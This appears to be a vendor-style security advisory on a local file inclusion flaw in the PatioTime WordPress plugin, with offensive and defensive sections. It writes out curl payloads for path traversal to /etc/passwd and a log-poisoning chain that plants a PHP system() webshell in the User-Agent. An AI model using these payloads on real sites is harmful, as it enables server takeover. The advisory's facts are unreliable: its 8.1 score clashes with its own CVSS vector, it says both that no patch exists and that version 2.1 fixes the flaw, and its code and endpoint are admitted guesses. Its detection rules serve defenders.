CVE-2025-67992

Executive Summary

CVE-2025-67992 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the PatioTime WordPress plugin by LoftOcean, versions prior to 2.1. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, database credentials), remote code execution via log poisoning, or full server compromise. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based vector. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WordPress.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users must manually update or patch the plugin. No official patch has been released by LoftOcean as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to read arbitrary files and potentially execute code, leading to full site takeover.

Deep Dive & Mechanics

The vulnerability exists in the patiotime plugin's PHP code, specifically in functions that handle file inclusion without proper sanitization. The plugin likely uses user-supplied input (e.g., via $_GET, $_POST, or $_COOKIE) to construct file paths for include() or require() statements. An attacker can manipulate this input to traverse directories (e.g., ../../../../etc/passwd) and include arbitrary files.

Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to a PHP include function. This is a classic CWE-98 (Improper Control of Filename for Include/Require Statement).

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., ?page=... or ?file=...).
2. Attacker sends a request with a path traversal payload: ?file=../../../../etc/passwd%00 (null byte injection may be needed for older PHP versions).
3. The server includes the specified file, outputting its contents in the response.
4. For RCE, attacker can use log poisoning (e.g., inject PHP code into Apache/Nginx logs via User-Agent, then include the log file).

Vulnerable vs. Patched Code

Vulnerable Code (Example):

<?php
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (Hypothetical):

<?php
$allowed_files = array('home', 'about', 'contact');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}
?>

The patched version uses a whitelist approach to restrict file inclusion to predefined safe files.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• WordPress installation with PatioTime plugin version < 2.1.
• Attacker machine with curl or Burp Suite.

Exploitation Steps:

1. File Disclosure:

   curl "http://target/wp-content/plugins/patiotime/vulnerable.php?file=../../../../etc/passwd"
   

2. Log Poisoning for RCE:
   • Inject PHP code into User-Agent:

     curl -A "<?php system($_GET['cmd']); ?>" "http://target/"
     

   • Include the log file:

     curl "http://target/wp-content/plugins/patiotime/vulnerable.php?file=../../../../var/log/apache2/access.log&cmd=id"
     

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e%2f).
• Alert on inclusion of sensitive files (e.g., /etc/passwd, /etc/shadow).
• Use WAF rules to block directory traversal sequences.

Hunting:

• Search web server logs for requests to plugin files with suspicious parameters.
• Look for unusual User-Agent strings containing PHP code.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing ../ or %2e%2e%2f in parameters.
  • Requests to /wp-content/plugins/patiotime/ with file= or page= parameters.
  • User-Agent strings containing <?php, system(, or exec(.
• File System:
  • Unexpected inclusion of /etc/passwd, /etc/shadow, or wp-config.php in responses.
  • Presence of webshells in web-accessible directories.
• Logs:
  • Web server logs showing inclusion of system files.
  • PHP error logs with "include(): Failed opening" messages.

Detection Engineering

YARA Rule

rule CVE_2025_67992_LFI {
    meta:
        description = "Detects path traversal attempts targeting PatioTime plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67992"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $plugin_path = /\/wp-content\/plugins\/patiotime\//
    condition:
        $plugin_path and $path_traversal
}

Sigma Rule

title: CVE-2025-67992 PatioTime LFI Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against PatioTime WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '/wp-content/plugins/patiotime/'
            - 'file='
            - 'page='
        cs-uri-query|re:
            - '\.\.\/'
            - '\.\.\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67992 PatioTime LFI Attempt"; flow:to_server; content:"/wp-content/plugins/patiotime/"; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement WAF rules to block path traversal patterns.
3. Restrict file permissions on sensitive system files.

Long-term Fix:

• Apply the official patch from LoftOcean when released.
• Upgrade to PatioTime version 2.1 or later.
• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Workarounds:

• Modify the plugin code to use a whitelist of allowed files.
• Disable PHP allow_url_include and allow_url_fopen if not needed.

Valters IT
Securing Digital Frontiers